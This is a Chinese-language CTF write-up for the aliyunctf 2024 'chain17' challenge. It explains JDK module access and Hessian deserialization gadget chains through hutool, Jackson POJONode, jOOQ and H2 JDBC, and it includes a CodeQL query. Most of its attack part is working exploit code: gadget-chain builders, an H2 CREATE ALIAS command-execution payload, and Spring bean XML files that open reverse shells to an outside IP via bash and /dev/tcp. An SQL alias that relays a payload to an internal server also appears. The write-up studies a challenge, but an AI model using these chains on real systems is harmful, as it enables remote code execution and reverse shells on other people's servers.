官方wp:https://xz.aliyun.com/t/14190
dk9出现了module机制:https://zhuanlan.zhihu.com/p/640217638。
总结一下:
Java API 的作用范围分为methods、classes、packages和modules(最高)。 module包含许多基本信息:
每个module,都会有一个module-info.java文件,如TemplatesImpl所在的module:
java.xml是module的名字,不一定要和包名一样。
exports表示外部可以访问当前module的哪些package。有点像nodejs。
exports…to 表示指定该package只能被哪些package访问。
同一个module下的类可以互相访问。
TemplatesImpl所在的package没有被export,所以我们不能访问。
在程序运行时加上VM Option,即可访问原本不能访问的module。语法:--add-opens [module]/[package]=module
,如:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
,意思就是把该模块下的某包对所有unnamed module开放。一般没有module信息的类都在unnamed module @ xxxxx
下。
平时设置私有属性必须要用到的就是这个,但是jdk9中setAccessible中多了个这个,检查访问权限。
总结一下,以下情况才是Accessible:
反序列化类,不受module影响。
如,第一次运行加上–add-opens序列化XString,写到一个文件里。第二次运行时,不加–add-opens,读取该文件,反序列化成功。
这也是一块重要内容。
核心利用方式:当反序列化最外层对象是一个map时,会调用该map的put方法。
所以通过put触发的gadge都可以用,如下面两个,作用都是put->toString。
HashMap+XString。
/*
make map1's hashCode == map2's
map3#readObject
map3#put(map1,1)
map3#put(map2,2)
if map1's hashCode == map2's :
map2#equals(map1)
map2.xString#equals(obj) // obj = map1.get(zZ)
obj.toString
*/
public static HashMap get_HashMap_XString(Object obj) throws Exception{
XString xString = new XString("");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", xString);
map1.put("zZ",obj);
map2.put("zZ", xString);
HashMap map3 = new HashMap();
map3.put(map1,1);
map3.put(map2,2);
map2.put("yy", obj);
return map3;
}
HashMap+HotSwappableTagetSource+XString
public static HashMap get_HashMap_HotSwappable_XString(Object obj) throws Exception{
XString xString = new XString("");
HotSwappableTargetSource h1 = new HotSwappableTargetSource(10);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(2);
HashMap<Object, Object> map = new HashMap<>();
map.put(h1,"123");
map.put(h2,1);
Util.setFieldValue(h1,"target",obj);
Util.setFieldValue(h2,"target",xString);
return map;
}
但是这道题不是一般的hessian
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>
有黑名单
XString也被包括在里面了。
h2数据库,如果能执行这条sql语句,即可rce。
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')
指定jdbc连接的url为这个时,会加载远程sql语句然后执行。
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
来个例子:
pom文件
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>
main
public static void main(String[] args) throws Exception {
String sql = "runscript from 'http://localhost:8000/poc.sql'";
String url = String.format("jdbc:h2:mem:test;init=%s", sql);
PooledDSFactory pooledDSFactory = Util.createWithoutConstructor(PooledDSFactory.class);
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",url);
Util.setFieldValue(pooledDSFactory,"setting",setting);
HashMap<Object, Object> dsmap = new HashMap<>();
dsmap.put("",null);
Util.setFieldValue(pooledDSFactory,"dsMap",dsmap);
pooledDSFactory.getDataSource().getConnection();
}
运行即可弹计算器。
观察一下main,没有import h2依赖的包,那能不能把这个依赖去掉?
PooledDSFactory是hutool依赖里用来发起数据库连接的类,连接时需要用到driver。 h2依赖里面放的就是driver。
所以去掉h2依赖后会提示找不到driver。
cn.hutool.json.JSONObject。
该类是一个map,put(key,value)时会触发value.toString,但value必须是java内部类。
put方法会进入这里。
接着进入wrap。
可以看到触发toString也是有条件的,就是必须是Java内部类。
java.util.concurrent.atomic.AtomicReference
这个类的toString方法,会调用自身value属性的toString。
我们都知道jackson#toString
,可以调用getter,但是getter的返回值,如果是个对象,也会继续调用该对象的getter。
在BeanPropertyWriter#serializeAsField
中,第一行就是调用getter,getter的返回值是value
还是这个方法,继续往下,会到达这里,value被传了进去:
一直跟进serializeFields
这个方法里,prop是这个对象的属性,不一定是成员变量,如有一个getA方法,但是没有A属性,A也会算进prop里。
后面就是进入prop的serializeAsField,然后继续调用getter。注意,此时的getter已经是value的getter了。
看看官方wp:https://xz.aliyun.com/t/14190
调用链:JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect
我最开始看的时候,有几个问题:
1、本地运行时加了–add-opens参数,目的是为了访问原本不可访问的类,但是打远程的时候没办法在远程加,是不是远程就不能访问这些类了?
2、题目的dockerfile加了这个:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
,目的是为了让当前module能够访问别的module。但是别的类,比如POJONode也处于别的module,为什么不用加也能正常反序列化?
3、JSONObject和POJONode中间为什么要多调用AtomicReference#toString
。
4、直接把PooledDSFactory直接写进bean,这样的话,调用的就是PooledDSFactory的readObject。按我的理解,应该把PooledDSFactory再套一层readObject->toString->getter,然后再塞进bean。
对于第二点,hessian反序列化恢复属性的时候会调用setAccessible,由于AtomicReference的module是java.base,原本不可访问,所以要加–add-opens。而POJONode等别的类,module是unnamed module,setAccessible可以通过,且反序列化不检查module,所以不加也没事。
别的问题都可以在上面找到答案。
还有就是自己本地生成payload时,能吐出base64,但是会有异常,不过不影响。
首先要知道java里rce的方法大致有哪些
看这题的时候,没想到任意类实例化。用codeql查jooq包,没有Runtime,没有ProcessBuilder,loadClass和method#invoke都有一些,但不可控。于是只能考虑jooq这个包是不是有类似于jdbc的、不在上述范围内的rce,例如agent用到的h2。
但其实new ClassPathXmlApplicationContext就能rce了。当pop让我codeql查找newInstance方法时候,我才想起来有这个rce手法。(第一次接触是在pgsql jdbc attack)
先查newInstance
然后就是找getter到达这个newInstance的路径
/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
class Source extends Method{
Source(){
this.getDeclaringType().getASupertype*() instanceof TypeSerializable and
this.getName().indexOf("get") = 0 and
this.getName().length() > 3 and
this.isPublic() and
this.fromSource() and
this.hasNoParameters()
and
getDeclaringType().getQualifiedName().matches("%jooq%")
}
}
class Sink extends Method{
Sink(){
exists(MethodAccess ac|
ac.getMethod().getName().matches("%newInstance%")
and
ac.getMethod().getNumberOfParameters() = 1
and
getDeclaringType().getQualifiedName().matches("%jooq%")
and
this = ac.getCaller()
)
and
getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}
query predicate edges(Method a, Method b) {
a.polyCalls(b)and
(a.getDeclaringType().getASupertype*() instanceof TypeSerializable or a.isStatic()) and
(b.getDeclaringType().getASupertype*() instanceof TypeSerializable or b.isStatic())
}
from Source source, Sink sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()
结果不多,配合手筛就能找到正确的了,那就是ConvertedVal#getValue -> ConvertAll#from
,从名字就能看出功能很相似。
然后补齐中间的链子即可
public static void aliyunctf2024_chain17_server_exp() throws Exception{
Object convertedVal = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ConvertedVal"));
Object dataTypeProxy = Util.createWithoutConstructor(Class.forName("org.jooq.impl.DataTypeProxy"));
Object delegate = Util.createWithoutConstructor(Class.forName("org.jooq.impl.Val"));
Object arrayDataType = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ArrayDataType"));
Object name = Util.createWithoutConstructor(Class.forName("org.jooq.impl.UnqualifiedName"));
Object commentImpl = Util.createWithoutConstructor(Class.forName("org.jooq.impl.CommentImpl"));
Util.setFieldValue(commentImpl,"comment","11111");
Util.setFieldValue(delegate,"value","http://192.168.109.1:17878/bean.xml");
Util.setFieldValue(arrayDataType,"uType",ClassPathXmlApplicationContext.class);
Util.setFieldValue(dataTypeProxy,"type",arrayDataType);
Util.setFieldValue(convertedVal,"type",dataTypeProxy);
Util.setFieldValue(convertedVal,"delegate",delegate);
Util.setFieldValue(convertedVal,"name",name);
Util.setFieldValue(convertedVal,"comment",commentImpl);
POJONode pojoNode = Gadget.getPOJONode(convertedVal);
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) Util.getFieldValue(manager, "edits");
vector.add(pojoNode);
Util.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
System.out.println(Util.base64Encode(Util.serialize(list)));
}
这个可以
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMC43Ni4xMTguMjAyLzE2NjY2IDA+JjE=}|{base64,-d}|{bash,-i}')}"/>
</bean>
</beans>
这样不行,不知道为什么。
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value>"/bin/bash -i >&/dev/tcp/120.76.118.202/16666 0>&1"</value>
</list>
</constructor-arg>
</bean>
</beans>
server在内网里,要通过agent打。这一步也挺麻烦的,我能想到的办法只有在agent getshell后写文件,搭个代理到内网。我尝试过后,有一点麻烦,就按照官方的打。
官方wp直接在agent获取到poc.sql时执行java代码
create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')
复现成功。